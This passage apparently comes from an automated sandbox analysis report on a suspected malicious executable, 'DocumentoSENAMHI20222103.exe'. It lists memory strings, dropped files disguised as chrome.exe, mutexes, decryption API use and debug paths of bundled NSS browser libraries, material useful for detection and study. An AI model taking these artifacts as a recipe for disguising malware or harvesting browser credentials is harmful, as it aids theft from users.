ALL id FROM %s WHERE %s;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81012939877.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81010861865.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81007454020.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81014511114.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81010600849.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81013135435.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index */ path TEXT, /* Path to page from root */ pageno INTEGER, /* Page number */ pagetype TEXT, /* 'internal', 'leaf' or 'overflow' */ ncell INTEGER, /* Cells on page (0 for overflow) */ payload INTEGER, /* Bytes of payload on this page */ unused INTEGER, /* Bytes of unused space on this page */ mx_payload INTEGER, /* Largest payload size of all cells */ pgoffset INTEGER, /* Offset of page in file */ pgsize INTEGER, /* Size of the page */ schema TEXT HIDDEN /* Database schema being analyzed */);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80997267130.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003280204.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81004430159.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000903880.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81000650649.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81003090471.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.drBinary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81012939877.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81010861865.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81007454020.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81014511114.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81010600849.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81013135435.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index */ path TEXT, /* Path to page from root */ pageno INTEGER, /* Page number */ pagetype TEXT, /* 'internal', 'leaf' or 'overflow' */ ncell INTEGER, /* Cells on page (0 for overflow) */ payload INTEGER, /* Bytes of payload on this page */ unused INTEGER, /* Bytes of unused space on this page */ mx_payload INTEGER, /* Largest payload size of all cells */ pgoffset INTEGER, /* Offset of page in file */ pgsize INTEGER, /* Size of the page */ schema TEXT HIDDEN /* Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeMutant created: \Sessions\1\BaseNamedObjects\776E9B90846C
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1033676:304:WilStaging_02
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1034132:304:WilStaging_02
                      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1034132:120:WilError_03
                      Source: Chrome[1].exe.1.dr, ????????????/?????.csCryptographic APIs: 'TransformFinalBlock'
                      Source: Chrome[1].exe.1.dr, ????????????/?????.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
                      Source: wtqsCpda..exe.1.dr, ????????????/?????.csCryptographic APIs: 'TransformFinalBlock'
                      Source: wtqsCpda..exe.1.dr, ????????????/?????.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
                      Source: chrome.exe.15.dr, ????????????/?????.csCryptographic APIs: 'TransformFinalBlock'
                      Source: chrome.exe.15.dr, ????????????/?????.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, ????????????/?????.csCryptographic APIs: 'TransformFinalBlock'
                      Source: 15.0.wtqsCpda..exe.540000.3.unpack, ????????????/?????.csCryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
                      Source: DocumentoSENAMHI20222103.exeStatic file information: File size 1320960 > 1048576
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x129400
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                      Source: Binary string: vcruntime140.i386.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515401149.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: vcruntime140.i386.pdbGCTL source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515401149.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80756890980.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80741387008.0000000006411000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: msvcp140.i386.pdbGCTL source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80780346997.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83518836187.0000000006410000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80780142254.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80773395092.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782629346.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80784310301.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782812675.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.1.dr
                      Source: Binary string: C:\Users\W7H64\Desktop\VCSamples-master\VC2010Samples\ATL\OLEDB\Consumer\MultiRead\no.pdb source: DocumentoSENAMHI20222103.exe
                      Source: Binary string: ]c:\borrar\EmptyDll\Release\EmptyDll.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: USB.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: c:\Users\N A P O L E O N\Desktop\IconLib\obj\Debug\IconLib.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: c:\Users\N A P O L E O N\Desktop\IconLib\obj\Debug\IconLib.pdbd source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.dr
                      Source: Binary string: PIN.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: msvcp140.i386.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80780346997.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83518836187.0000000006410000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80780142254.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80773395092.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782629346.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80784310301.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782812675.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.1.dr
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81029831720.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81028272449.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81023544899.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83503539466.0000000001504000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81027987212.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81029572816.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81030566751.0000000005E59000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: c:\borrar\EmptyDll\Release\EmptyDll.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80765987792.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80760169574.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768273960.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: wuser32.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83509823788.000000000515F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83511925092.0000000005570000.00000040.00001000.00020000.00000000.sdmp
                      Source: Binary string: PIN.pdbX source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80765987792.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 